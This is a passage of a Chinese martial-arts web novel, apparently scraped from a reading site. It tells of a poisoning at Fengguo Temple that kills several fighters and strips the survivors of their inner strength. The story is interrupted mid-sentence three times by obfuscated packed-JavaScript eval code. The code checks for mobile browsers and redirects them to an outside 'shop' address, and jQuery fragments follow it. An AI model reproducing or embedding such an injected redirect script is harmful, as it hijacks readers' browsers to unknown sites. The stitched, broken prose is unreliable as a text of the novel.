听说——孤鸿剑就封印在那座阆天宝塔中。 刹那间,有一丝杂音掠过耳畔。 原湘湘暗中绷紧了身体,随着杂音越来越近,就在千钧一发间,她跃起袭向身后人,一把擒住来人手腕,但听“喀哒”一声脆响,哀嚎乍起。 “唉呦!原姑娘好大力气!”那人顺势又摔了个屁股蹲,此刻干脆坐在地上左手托右手,疼得呲牙咧嘴。 她被这哀嚎吓了个大跳,当即松下手后退几步,定了定心神才看清眼前来人:“不好意思,我……没认出是你。” 那人正是此前的裴玉珠。 裴玉珠见原湘湘皱起眉头,生怕她不高兴,赶忙解释道:“与姑娘无关,是在下突唐突了,姑娘防身是应当的。” 原湘湘一时之间有些语塞:他怎么还替我说话? 见裴玉珠比她还要羞愧难当,她道:“裴少侠来此有何事?” 裴玉珠听到原湘湘略带疏离的语气时,急忙上前解释:“原姑娘,我是专程来道歉的,我是来找你的,我是真心真意的,那几日我见你特别忙又担心你在气头上,想到原姑娘师兄应是伤得不轻,所以……直到现在才来。” 原湘湘看看他,半天不说话,心道:这个清静处也是很偏僻,能一路找到这儿来,他莫不是跟了我一路? 柳折舟苏醒那一日,她还记得裴玉珠一直站在门外许久,直到人都散尽才依依不舍地离开。 原湘湘当时本想等人走后喊他进来坐坐,可不曾想,自己前脚刚踏出去,后脚院门外便只留裴玉珠一抹青色残影。 兴许是见到原湘湘瞬间木然的脸,或是回忆起自己刚刚那番话的意味,他赶忙三两下接上了自己被扭脱臼的手腕,又道:“在下裴玉珠,一十六门后人裴玉珠,现在是青城派弟子,刚刚唐突了姑娘,还请原姑娘见谅。” 说着,便已拱手施礼,又向原湘湘道歉。 原湘湘见他这般,道:“是我不好。” 裴玉珠见她的右脚已经松动,大有离去之意,便伸手上前拦住她:“原姑娘,那一日,我不该对你……” 有所怀疑和猜测的。后面的话被他硬生生吞回了肚里。 若说起为什么,裴玉珠自己也答不上来,他只一眼见到原湘湘时,便觉眼前一亮。即便原湘湘总是将他堵得说不出话,他只是傻傻站在那里,静静地看着—— 许是因着这个偶然的机会,他才有机会好好看着原湘湘,他本来就觉得原湘湘长得与常人不一般,尤其是那头卷发……更是少有。 小小鹅蛋脸,鼻梁高且挺直,眼睛灵动且富有生气,虽不是惊艳四方的美人,但是却格外让人感觉到亲和温暖。 尽管,总是一张没有太多表情的脸,就连美人最该有的剪水含情的双瞳,她也是直勾勾的冷淡——别有一番风情。 那一身设计考究的红衣,夹杂着鹅黄莺绿,两条蓬松且轻盈的束花双辫垂在身后。 只一眼,他就想到了青城山下,绿水清波,芳草长堤,还有迎风招摇的菖蒲花。 明明看起来是个不好接近的人,可是,却意外地让人觉得温暖。 想到此处时,他的脸色慢慢醺红,整个人就好像躺在阳光下晒暖的小动物。 裴玉珠不好意思地挠了挠头,发烧的脸将这覆着白霜的竹叶衬得更加青翠欲滴。 原湘湘思前想后也想不出前因后果,她并不知道裴玉珠为何要跟着自己。 “上山那一日,多谢!比武的事,还请多待几日。”原湘湘毕恭毕敬地回礼。她心想应该是上山时那天的事。 裴玉珠见她还在记挂这件事,以为原湘湘还在生气,躬身道歉:“是我对不起你和柳师兄!” “柳师兄?”原湘湘一愣,大脑一时没反应过来。片刻后才道,“那你为什么来找我?去找柳折舟就好了。” 言外之意,你我非亲非故,非敌非友,并无渊源。 可那裴玉珠却听不出原湘湘话外之意,道:“我与姑娘在茶馆里惊鸿一瞥,所以就……” 话未说完,林间便飞来了两朵小红云,停在了裴玉珠的两颊。 “嗯,有劳裴少侠了,改日定带着柳折舟……师兄去登门拜谢。”原湘湘又是一礼。 如果说此前她还想不通,但看见裴玉珠烧红的脸,就算石头也能感受到其中的意思了。 裴玉珠迟疑了一下,问她:“原姑娘,你何时有空?” “不好意思,这几天实在是太忙了……”说罢她又是一弯腰。 裴玉珠见她又是一礼,自己也赶忙赔礼道歉:“不是姑娘的错,是我太莽撞了!” “不不不,是我们师兄妹给你添了太多麻烦。”说罢又是一礼。 “没没没,没有的事,江湖之中都是姐妹互帮互助罢了!”裴玉珠憨憨一笑,腰躬得更深了。 这二人就像给对方拜年似的你来我往都不跟对方客气。 “裴少侠此处风寒,咱们换个地方说话。”原湘湘咬着牙刻意强调了“少侠”二字。 “原姑娘先请。”裴玉珠伸手请她。 原湘湘有些炸毛,她知道如果再跟他客气,又得在此处拉扯半天都走不了一步。 与裴玉珠分别后,原湘湘见天色还早,脚底着火似的去往东边,不知怎的,她想去看看柳折舟的情况。 快步绕过几处亭台水榭,红漆梁柱,推门便进了东厢房的院门。 许是早春料峭的缘故,高山里还是有些寒冷。未时五刻上下,日头刚刚偏过正南,也算半个正午,日光温暖暖的,洒在这方青竹前院里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685478|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 花岗岩的地砖缝里还渗着点点水光,周围的青竹早已化了碎雪,风过处,簌簌作响。 院子里摆着个竹椅,竹椅上歪着一个闭目小憩的白衣男子,似是已经睡熟,那男子姿态雅然,神情散朗,如玉山上行,光映照人。 竹下人栖神仙眠。 原湘湘打开门便见柳折舟垂目躺在院子里晒太阳,她也不禁停滞了半分,而后见他孤零零睡在那里,还穿着平时的单衣裳,她就去房里拿了件厚衣悄悄盖了上去。 现下她是明白了。明白自己为什么会迫不及待地踩着风火轮也要来见他的原因了。 柳折舟身上似乎有种莫名的力量,每每见到他,原湘湘就觉得无论自己之前有多么着急多么急躁多么疲惫,只要在他身旁,总能立刻平复下来。 而这种感觉,她是没法解释的,更加想不通。 她在旁边待了片刻,也没见他醒,末了,原湘湘便轻轻带了门离开。 只是她不知,在她离开后,柳折舟便缓缓睁开了眼,他将那件厚衣往身上拢了拢,光洁的面庞在衣服上轻轻蹭了几下,便将脸埋了进去。 柳折舟觉得心口好像在膨胀,面上也热了起来,那厚衣就像是一碗有人专程煮来的莲子粥,又甜又浓。 他恨不得一口饮尽。 距离三年之期越来越近,近几日,寺中来了越来越多的各门派人士。想必,鬼观音夜袭奉国寺被重伤的消息已经传遍了江湖,不管大大小小的门派,原先不准备来的,现在也都要过来碰碰运气。 夺走孤鸿,生擒观音,光是这两样已足够吸引人了。 更遑论和鬼观音有血海深仇的人以及对剑鞘中的秘宝感兴趣的人。 但原湘湘的目的并不是天下第一剑,她对武功秘籍和金银财宝也没兴趣,她只是想见一眼鬼观音而已。 ——其实她对身外之物也不是完全没兴趣。 奉国寺的膳房就在后院,原本只有一楼可容纳数百人的大厅,可如今因为试剑大会来了不少武林人士,便将二楼打扫了供人使用。僧人们都在一楼,如此一来,整个奉国寺便可同时容纳数百人。 二楼几乎都是来自五湖四海地各路英雄豪杰或者绿林好汉,大家群聚于此皆是为了能在十日后的试剑大会上要么为武林除害,要么为亲人誓报血仇,要么只为绝世宝剑。 原湘湘在此处既无朋友亲人,也非爱凑热闹的性子,她便挑了二楼一个拐角坐下去。不多时,她的眼前突然多了一份碗筷。 见她没多余反应,裴玉珠轻咳了一声,继而又清清嗓子,豁然敲了一下碗筷,行为动作十分刻意,显然是在等她的回应。 此刻原湘湘才搁下筷子:“裴少侠快请坐。” 裴玉珠便兴高采烈地落座了。 他的嘴不是在吃饭就是在说话,落座后基本没停过。他跟原湘湘说,有好几日没见到大师兄了,自己有点担心。 原湘湘认认真真地望着他,依旧很少言语。 她一向是事不关己不开口。 8. 假兄妹无门无派引争议 裴玉珠正眉飞色舞地说着这里的饭菜和他老家的饭菜时,只见一个身材略胖,气度恢宏的锦衣男人便踱步来此,道:“二位小友打扰了,能否也让我在此处落座呢?” 此人虽然已经人到中年,身材也微微变形,但举手投足间皆是风雅。 不等原湘湘开口,裴玉珠赶紧拉着原湘湘和他一道站起来,傻傻一笑,道:“原来是王岛主,您请坐请坐!” “多谢二位小友了,王某今日来得迟,没了位置,故而……”王岳生苦笑道,“多多叨扰了。” “请!” “请。” 原湘湘扫了一圈,二楼根本就没坐满,柳折舟假死那次,其实就已经吓走了不少来凑热闹的人。 这个王岛主,来自海外一处仙岛,名唤天浮岛。从中州东南部最大的临安城坐船出发,行海半月就能到达。 世人将天浮岛唤作仙岛,只因这天浮岛素来鲜少过问世事,不过,自从前朝覆灭后,天浮岛也慢慢变得更通人气了些。 民间说,有前朝逆贼逃亡天浮岛,占山为王,导致新朝无法完全掌控临安城及天浮岛这一片东南区域,因而一直是新朝皇帝的心腹大患。 “这位是我朋友,原湘湘。”裴玉珠先向王岳生介绍原湘湘,又赶忙向原湘湘介绍王岳生,生怕怠慢了这两个人。 “小裴兄弟,王某一直久闻一十六门大名,此番见到你少年英姿,果真名不虚传。只可惜……”王岳生眼底慢慢浮现出一丝伤心,“王某这一次前来中州未曾见到一十六门的鼎盛风采,实在为此遗憾终身。” 裴玉珠闻言眼里的光转瞬之间就全部消失:“难得还有愿意记得家父和各位叔父的人,玉珠在此谢过了!” “当年一十六门和鬼观音一战惊动武林……” “今日暂且不多说这些话,前辈请快些用饭吧。”裴玉珠双眼泛红,神情沉重,“那些事玉珠自然会谨记在心。” 经年之事,裴玉珠从来不在外人面前提起。 “是我唐突了,小友也尽快用饭吧。”王岳生神情微微一凝,略有尴尬。 鬼观音一夜屠尽一十六门上上下下两百余人,血染长街,草木含霜,天地变色,裴玉珠永生永世都不会忘记那一幕。 他和大师兄李源知就是世间罕有的能从鬼观音手里活下来的人之一。 原湘湘在一旁默默坐着,那两位没有动筷子,她自然也是不会动的,现在这二人终于肯停下来吃饭,她倒反而没什么胃口了。 人太多,她现在只想立刻离开这里。 “方才只顾着和裴小友说话了,疏忽了原姑娘,还请见谅。”王岳生道,“不知姑娘师承何人,实不相瞒,在下是被姑娘腰间那柄长鞭吸引过来的。” 说罢,裴玉珠和原湘湘一起低头看向那柄雕镂繁复的灰白色长鞭。 “嗯。”原湘湘看似一脸风轻云淡言简意赅,实则口干舌燥一个字也不想说。 她最不擅与人交谈斡旋,她只想立刻拔腿走人。 这个天浮岛主虽然说话不遮不掩,为人又颇为风雅,但她很不喜欢和别人提到与师父相关的一切。 王岳生突然朗声道:“王某看此物倒像是玄天教的万花血藤鞭。” 他的话音刚落,原湘湘便感觉到周围人的目光都刺到了自己身上。 裴玉珠面上立刻紧绷起来。 玄天教,远在西域乃至于漠北的异域宗教。 虽然自新朝建立后就鲜少与中原来往,但以往多年,他们曾在中原大兴土木,兴建寺庙,宣扬仙法,曾一度将中州搅得天翻地覆,怨声载道,血气冲天。 原湘湘不知道该怎么解释这鞭子就是她师父一直挂在墙上,她只是觉得轻巧方便才带过来的。 从来没有深思过其中缘由,如今看来,关于师父的事更应该绝口不提,她故作平静地分析。 正在原湘湘如坐针毡的时候,只闻一阵清朗的声音传来,接了她的话。 “多谢王岛主青眼相加,只是师妹身上的俗物入不得您的法眼,区区一根万花血藤鞭罢了,在下有机会定会亲自上门为岛主献上更为珍异的宝物。” 众人循声望去,但见一个持扇男子翩然现身厅间,虽然瘦削但长身玉立,白衣环佩,清莹如似画中来,恐怕世间再无其二。 说来也怪,柳折舟一来二楼的气氛瞬间就缓和不少。 原湘湘怔怔看着柳折舟。 “你师兄到底哪来的?”裴玉珠看见她神色缓和了些,自顾自撅起了嘴。 原湘湘看着裴玉珠,无奈苦笑,虽然她对柳折舟也是知之甚少,但唯一能笃定的就是柳折舟绝对出身不凡。 王岳生见那年轻的持扇男子来的很不是时候,便悄悄弹出一指气息试探柳折舟。 他心道:这年轻人来历不明,似乎游荡江湖已久,且了如指掌但又一丝内力也无,诡异得很,而我对他却是一无所知,不得不防。 柳折舟见他没说话,又继续道:“在下柳折舟,师承雪峰山雪峰派,那位少女是我师妹。师妹她生性孤僻不善言辞,而且年纪尚小初涉江湖,若她有行事不端之处,还请王岛主与诸位英雄豪杰多多担待。” 言罢,他便收扇拱手,朝着在座诸位豪杰施了一礼,举止大方,端的是皎如玉树临风前。 二楼里一阵唏嘘,因为都能看出来眼前这男子一点武功也无,不仅如此,他脚步虚浮不稳,身体还甚为虚弱。 虽然雪峰派他们此前从未听说过,但这和煦容姿之中所散发的威压不容忽视,让旁人拒绝不能。 王岳生道:“无事,这姑娘甚是聪明机灵,想来也是个好苗子,诸位有机会可以来我这里坐坐。” 柳折舟道:“那就恭敬不如从命了。” 然后他便施施然和原湘湘坐在一条板凳上,那动作行云流水一般的风轻云淡,俨然他们真的熟识已久,相伴多年。 这拐角的小方桌只有裴玉珠对面空无一人,王岳生对着原、柳兄妹二人。 原湘湘低着头吃饭,内心无语:让你坐坐,没让你在这儿坐坐啊……还以为你是来给我解围的,没想到你是来煽风点火的。 这一桌人都默不作声的,似乎不知该如何是好。 良久,裴玉珠突然发问:“二位,当真是师兄妹?” 原湘湘与柳折舟竟不约而同地望向对方。 这是什么鬼问题?和吃饭有关吗? 柳折舟正在夹菜的手颤了一下,片刻后正色道:“正是。” “可你……也不像有武功的样子。”裴玉珠百般疑惑:“哪有一个师门里能出来差距这么大的,竟然一点内力都没有。” 原湘湘的功夫他是领教过的——出其不意的情况下能把他直接撂倒。 王岳生夹菜的动作也停下了,道:“我见柳贤侄不仅没有武功,似乎还身有恶疾,不知可寻得什么法子医治?” “一仙一老三英杰,这几位还在世的强者中,不乏武功深不可测者,可是也有未凭武力让天下之人信服的。”柳折舟悠悠说道,“至于恶疾……是折舟出生时就有的,因此也习不了武。” 原湘湘凝眉,悄悄瞥了他一眼。 “确实如此。”裴玉珠点头称道。 “所言甚是,据说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685479|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,医圣便是一点武功都不会。”王岳生道,“还有那前朝第一铸剑师问剑生亦是,所造两柄长剑堪称天降神兵,武林中人无人不想得到它。” 王岳生说的不错,其中一柄就是鬼观音的佩剑孤鸿,就是这场试剑大会的一切缘起。 柳折舟也轻声附和:“是以,武功也不一定就是行走江湖必须的嘛,更何况,我这师妹,有她在,我很安心。” 说罢,柳折舟便垂目看向了原湘湘。 “只是可惜了这一对神仙爱侣。”王岳生长叹一声。 江湖皆知前朝第一铸剑师问剑生与妻子医圣素衔隐居在天外之天,无人可知之地。 相传,那一日,天外之地曾有流光坠落,火烧千里,连绵不止,秦穆意外得天外陨铁,但其妻素衔也身死其中,他便血洒铁石,凝泪淬剑,铸剑两柄,流传后世,以寄情思。 原湘湘警觉。 她是真得很想走。 就在她满脑子都充满混乱之时,突然听见柳折舟轻轻起身:“折舟还要去趟药庐,需要师妹陪同,就先走一步了。” 原湘湘瞪着大眼。 “嗯,柳贤侄尽管去便是,若是这奉国寺医不好你,大可来我天浮岛,天材地宝尽你使用。” “原姑娘师兄慢走~”裴玉珠微微一笑,眼睛还恋恋不舍望着二人离去的方向。 “折舟谢过二位的关心。” 原湘湘起身拜别便和柳折舟一同下楼了。 他们到了一楼,原湘湘眼睛一侧,便道:“我们下楼的时候有个姑娘一直在看你。” 柳折舟将火引到她的身上,她很是不快,自然也想点一把火。 原湘湘知道那个姑娘,她就是自己经常在西厢房中看到的两个粉衣女子中个高的那个。 个子稍矮的那个自然是苏叶。 “我还没吃饭。”柳折舟揉着肚子。 “那我们再上去。”原湘湘转身就要走,柳折舟伸手扣住了她的肩膀,古怪的是,她竟然动弹不得。 “上去做什么,下面也能吃饭。”柳折舟微微一晃,道,“我有一日没见到你了,一天三次来这边碰运气,今日刚见你,就看你在那边急得似乎脚趾都要把二楼地板抠烂了。” 他用扇子挡住下半张脸,隐隐在憋笑。 “你!”原湘湘被他说得羞愤难当,甩开他的手,反问他,“原来你早就到了?” 柳折舟的嘴角还在笑着:“是啊,还和你说的那位姑娘相谈甚欢。” 原湘湘一时语塞,原来这个人不仅故意看自己笑话,还和别人看自己笑话! 原湘湘目色一凛,她知道,此刻唯有走人了事。 柳折舟许是察觉到了她的情绪变化,赶紧解释道:“不是你想的那样,我们只不过随便说说话。” 原湘湘本想再解释一下,可转念一想,他们之间的关系也没到需要解释的地步吧?是与否,一点也不紧要……你在解释些什么? “不要生气啊,我虽然是‘内人’,可我也应该有自己的自由,你不能控制欲太强。”柳折舟还在一旁撑着扇子笑意盈盈。 她一时无言,生无可恋地转身想起柳折舟说有要事要办,两片薄唇已打开:“那你准备吃什么?” 她有些后悔了,其实跟柳折舟在一起,也会高血压。 “什么都可以。”柳折舟说着就已拿了一个馒头,掰成两半,对着原湘湘微微一笑,而后轻咳两下。 “……”原湘湘无语,“那我们去——” 话音刚落,便听得一声尖利的叫喊声径直撕裂他们的耳膜,整个二楼瞬间瞬间大乱! 9. 奇毒腐枯尸,折舟再沉舟 话音刚落,便听得一声尖利的叫喊声径直撕裂他们的耳膜,整个二楼瞬间大乱! 原湘湘心头一颤,听声音是从二楼大厅的西北角传来的,她几乎是飞着跑了上去。 她甫一冲上二楼,就闻到一股浓烈的腥气,二楼西北角已被围了个水泄不通,整栋楼充斥着污言秽语,声振屋瓦。 她不由得皱起了眉头。 “我去找玄中长老过来!” 紧接着众人便看见一个清俊瘦削的年轻和尚冲出了人群。 她看见澄明走得飞快,当下也不及思考,脚底生风,也是三步并作两步便冲到前面。 “原姑娘——”裴玉珠在人群看见她,也赶忙追了过去,“你没事吧,原姑娘?” “没有,你呢?” “嗯。”裴玉珠面上沁着一层薄汗,神色凝重。 她挤进人群,只见地上躺着的几个侠士,先是一阵无声抽搐,无法喘息,然后口角流出白沫,很快白沫变成红色,最后变成了乌黑色的血,最终人动也不动了,而毒血流过的肢体都被腐蚀得残败不堪,六七具尸体干瘪如焦黑的树枝,散发着刺鼻的腥臭味。 裴玉珠面色凛然,此刻他的周身散发着一股拒人于千里之外的寒气,使得站在四周的众人不自觉地为他腾出了空间。 人死的瞬间,空气瞬间凝结,有一股沉默压抑着的怒火,似乎正在人群中酝酿,在这周遭之中,好像有一种情绪电光火石般的在人群中奔走,只待急剧点燃。 原湘湘不舒服,心中闷着一口气,依旧板着脸不动声色。她才站定没多久,周围人便又炸开了锅。 “一定是鬼观音!”人群中有人惊声尖叫,“这死状——不就是和霍洋练的功夫一样吗?!她不就是霍洋的弟子吗?” “除了她,没人会对我们下手。” 望着地上的枯尸,一个白眉老者悲叹:“一剑惹得生灵涂炭,从前朝末年到现在都还不停息……真是孽啊!” 那老者叹息之时,身旁有不少人都不自然地垂下了头或者偏过脸,各怀心思。 “那她三年前为何要把孤鸿拱手送出?这不是自找麻烦吗?”有个一身竹月色道服的年轻道士轻声嘀咕。 “据说,她当年身受重伤,几乎走火入魔,差点死了。”一个熟悉的声音在她的耳畔响起,“就是杀了大太监,拿到孤鸿后性情大变。”王岳生突然自人群中现身。 孤鸿天生不详,剑意阴邪,能让持剑者功力大涨,也能让人心绪大乱,走火入魔直至身死,也有人说,孤鸿就是打开藏有不死秘术的灵帝墓的钥匙。 只听王岳生继续道:“奉国寺莫名与她立下这三年之约,本就令人深思。” 王岳生傲然站定,那话,如石子投入湖中,“咕咚”一声响,在众人的心湖里掀起了涟漪。 “岛主言外之意是?”此前的年轻道士眉目冷了几分。 原湘湘知道,这道士就是那日她看到和王岳生走在一起的。 “小友莫多猜测,这些都是王某人的胡话罢了。”王岳生道,“这中州武林之事,我毕竟是初来乍到,很多事都只是听闻,算不得数的。” “不。”李源知握紧双拳,道,“岛主说得对,我们这些人是被复仇蒙蔽了双眼,以至于没去深思这其中的原因,堂堂第一大寺,居然会莫名为鬼观音立约,要说这其中没有诈……” 原湘湘注意到裴玉珠的大师兄不知何时到了场。 “难道说……” “可是,奉国寺也死了人啊。”人群中有个异样的声音响起。,“在我们来之前,就已经损失了不少弟子。” 王岳生和李源知二人冷冷看向那个异样的声音。 原湘湘立在人群边,左顾右盼。此刻,她知道自己就是搜集消息的。 很快就听见二层楼梯口传来一个年轻姑娘的哭叫:“柳公子!柳公子!” 众人慌忙下楼,只见方才那个翩然而立的白衣公子恍若中箭而落的白鸟,已然倒地,口吐鲜血,昏迷不醒。 离他倒地不远处,一条桌子腿儿边还滚落俩半块馒头。 几乎是在电闪雷鸣的一瞬间,原湘湘与裴玉珠一前一后奔向柳折舟的身旁,她当即出手封了柳折舟的大穴,而裴玉珠则是有条不紊地探其鼻息,又为其把脉。 “柳公子如何?”高挑的粉衣女子担忧的问道,她的眼底浮着一层水光。 原湘湘亲眼见到这位峨眉女子似乎与与柳折舟关系不浅,她心里莫名不畅快起来。 片刻后,裴玉珠缓缓道:“还活着……” 那粉衣女子闻言便放下了心来,她看着几乎是飞过来的原湘湘,朱唇轻启,似乎还有话要说,便被另一人打断只得作罢。 原湘湘听得头顶传来一声担忧: “柳公子如何?” “性命无碍。”原湘湘突然咬住嘴唇。 “王岛主菩萨心肠,”裴玉珠缓缓道,“原姑娘师兄应该只是昏了过去。” 王岳生眸中微闪,缓缓道:“让我来。” 只见王岳生走到他们二人身旁,从裴玉珠手中接过昏沉不醒的柳折舟。 裴玉珠见状,赶忙拉着原湘湘退到一旁,侧耳对她说:“王岛主果真侠肝义胆。” 裴玉珠虽是这般说着,但原湘湘紧皱的眉头却始终没有松开过——这个王岳生总让她觉得不舒服。 即便人如柳折舟,令人捉摸不透,但原湘湘却从来不会觉得柳折舟心坏,要问为什么,应该就是直觉。 王岳生挥袖遣散周围众人,他盘腿坐在柳折舟身后,便开始调息运功,双掌对向柳折舟后背,将内力推送至他体内。 白衣的年轻公子气貌若白纸,虽是双目紧闭不省人世,但那容姿望之便觉是如画中一般的神仙中人。 王岳生正在为柳折舟运功疗伤,周围众人皆是大气不敢出一声,原湘湘的眼睛也不敢离开半分。 很快众人便见昏迷的柳折舟眉头微动,面色恢复了些,可是再看向王岳生时,只见他眉头紧锁,面上大汗淋漓,情况不妙。 王岳生本以为只是普普通通的一次传功,无甚在意之处,只是没料到当自己的内力推入柳折舟的体内时,那股内力却犹如泥牛入海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685480|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有去无回。 不,不仅如此! 王岳生脸上焦虑浓重,额头上的汗珠也不间断地流下。 他心道:此人诡异至极,身体犹如无底之洞,内力一入他体,便消失不见,不仅无法运功疏导,遍寻不着,更是怎么都填不满……反倒……不受控制地流进他的体内! 正在试图找出柳折舟身体诡异之处时,王岳生突然心脏一阵酸空,浑身仿佛被抽干一般,身体一轻,他突然心头一震,大叫:“不好!” 众人只觉一股劲风扑面而至,随后便见王岳生袍袖一挥,当即吐出好几口鲜血来。 “王岛主!”周围人欲上前,却被王岳生挥手拦下,他抬起头来,盯着倒在地上的柳折舟,眸光晦暗。 原湘湘当即也冲了过去,将柳折舟揽在了怀里。 王岳生脸上青气一闪而过,道:“……你们师兄妹到底是何方神圣?竟将我的内力一一吸了过去!” 在场众人闻声不免崩掉脸色,议论纷纷:“这吸人内力的诡异功夫……可是禁忌,怎么突然在此处出现?” “王岛主,这或许是个误会……”高挑的粉衣女子上前道。 她望向昏迷不醒的柳折舟,虽说眉目冷清却也满含怜愁:“这位柳公子不像是练武之人。” 王岳生长叹一口气道:“可我的内力,消失不见了。” 原湘湘倒是一言不发,直直看着王岳生,在与柳折舟交叠的层层衣袖间,她早已伸手探向了柳折舟的脉——还是一如既往的空虚单薄。 “莫不是王岛主功力不济,连个普通人也救不了。”说话的不是旁人,正是另一个粉衣女子。 她早在一旁观看许久,此番露头,也不过是想看看别人的笑话而已。 王岳生一脸不快,却又说不出半个字,只得默然撇过脸去。 这两位粉衣女子便是峨眉山的弟子。 高挑的那位是峨眉山大弟子方玉莲,眉目清冷武艺高强,但却不受前任掌门喜爱。个头稍矮的这名便是峨眉山代掌门苏叶,出了名的天赋异禀但出口张狂。 之前在茶馆里她先师姐一步,差点把原湘湘捅了个对穿。 “莫要胡说。”方玉莲正色道。 “你没胡说,你上啊。”苏叶狡诈一笑。 方玉莲也不辩解,解了佩剑,上前便欲运功救人,只是刚刚提起一口气,她却发现丹田乃至周身竟然都空空如也! 众人见她呆立在原地,也都纷纷变色。 王岳生见她凝滞不动,便问道:“姑娘如何?” 方玉莲本就就清冷的脸上浮现出几丝愁慌之气,缓缓皱眉道:“内力不见了……” 此言既出,在场众人都纷纷调起内息,可是都只提起一口气来,便发觉自己体中空空如也,并无一丝内力。 原湘湘和裴玉珠也试着运气,二人互视后连连摇头。 方玉莲急忙跑下楼,待她再上楼时,身旁跟着一个师傅,只听那师傅道:“我们也是……如此。” 一顿饭,死的死,伤的伤,活着的,竟然都变成了废人! 10. 诡异引内奸,湘湘起疑心 突遇毒害,众人惊愤不已。 约半盏茶后,一个身形略宽外披袈裟的灰衣大师在年轻和尚的搀扶下来到了这里,众人见状皆是纷纷为他们让出路来——澄明搀扶着玄中大师已来。 原湘湘审视着来人,见那灰衣瘦和尚气息略有虚浮,脚步也不稳健。这便是德高望重的奉国寺方丈?原湘湘腹诽:看来传言非虚……鬼观音和奉国寺两败俱伤,被从里面打散了。 “如何?”那大师垂目,似是无奈似是悲痛。 “是被人在饭菜里下了毒。此毒药性极烈,能够销骨蚀肉。”裴玉珠的语气也不禁有些失落,虽然丧命的不是他的同门,但大家都是纵情江湖的好儿女,落得如此死法,属实不该。 原湘湘低头望向怀中的柳折舟,根本无暇去听周围。 柳折舟长长的眉眼中早已没了平日的光彩,她的目光不禁顺着柳折舟的轮廓游走,心底也慢慢生出几分悲凉。 好不容易才活过来,怎么又摊上这种事呢。湘湘闭目长叹。 柳折舟沉目不醒,像一个心满而瞑目的老人——平静地躺在坟茔之中。 原湘湘的手慢慢覆上了他的脸,盖住了那双紧闭的眼睛。 那一颗小痣,滴泪一般,舔着原湘湘的指腹。 一阵骚动之后,玄中大师闻言也是无奈地摇摇头,便道:“阿弥陀佛,此事我奉国寺难辞其咎,奉国寺必会为他们讨回公道。” 话音刚落,周围便又响起了不满的猜忌之声。 原湘湘心道:如此大事,竟只言片语了结了? “还有一事……”裴玉珠看看周围各大门派弟子,犹豫半晌,最终还是闭上了嘴。 “我们被下了药,内力尽失。”王岳生道,“能在我们毫不知情的情况下做出这些事,那人必定武功深不可测。” “此事澄明早已知会我,奉国寺也定会护大家周全,为诸位主持公道,诸位且安心。”玄中长老允诺,“鬼观音神出鬼没,如今又屡次三番对我们下毒手,玄中奉方丈师兄之命,即便奉国寺不留一人,也要擒住鬼观音,给天下英雄一个交代。” “也请诸位鼎力相助,共擒鬼观音,杀之以儆效尤。”一直站在那位长老身边的澄明眸光如炬。 “自当如此,不报此仇,永不瞑目。”李源知率先表态。 此时裴玉珠正站在李源知身旁,待他目光寻到原湘湘时,见到那几乎互相依偎的二人时,眸光瞬间暗了下去。 “不仅仅是奉国寺,其他幸存门派皆立誓要将鬼观音杀之而后快,以慰在天之灵。”周围众人异口同声地发誓。 “人生一世,草木一秋,凡尘纵多扰,放眼仍须足。死生一事,不可轻怠,待得黄历轻翻,奉国寺定为诸位英豪葬下。”玄中的嗓音略微沙哑低沉。 众人在玄中长老的指示下,将尸首保存在寺内其他地方,准备做完法事,择日再葬。 此情此景之下,周围人也不再过多言语,虽然他们仍旧心有不满,但奉国寺在此一役中也是损失惨重,天下第一大寺说是延后,那便是延后。 原湘湘见他们已然盟约,纵然心绪万般烦乱,但也知道这里也轮不到她一个名不见经传的丫头片子来说话。 更何况她能说什么? 说鬼观音是无罪的? 笑话。 这里没有她说话的份儿。 但是昏迷不醒的柳折舟她却不能不管,她也不会不管。 天色昏暗,周围更是嘈杂不堪。 “师兄昏迷不醒,且让晚辈带他去药庐救治。”她便在众目睽睽之下背着柳折舟先行退了出去。 一直站在人群中的王岳生望着原湘湘背着柳折舟离开,直至不见了人影,他才拂袖离去。 “好一个雪峰山雪峰派。”王岳生念道。 天外星辰寥落,微茫的几点光在云层外朦朦胧胧。 她虽然失了内力,但也能完全凭力气把柳折舟这个大男人老老实实地背在身上。 不仅仅是因为原湘湘本就力气大,主要是柳折舟瘦得厉害。 她一把抓过柳折舟时,即便隔着几层衣物,也能感觉骨头硌得她满手生疼——比前几日又瘦了很多。 想到这里,她忽然心中一叹:还好是昏迷时摔倒,瘦成这个样子,若是在醒时摔倒在地上,不知他又会疼成何种模样。 昏了也好,起码不会疼。原湘湘心道。 她看着背上的他,不知作何表情。 早春夜寒,山上偶有几声夜鸟叫鸣,也会惹得山中人心生寒栗,更何况此时此地。她才在药庐门口稍稍站定,里面的和尚连忙挥手示意他们进来。 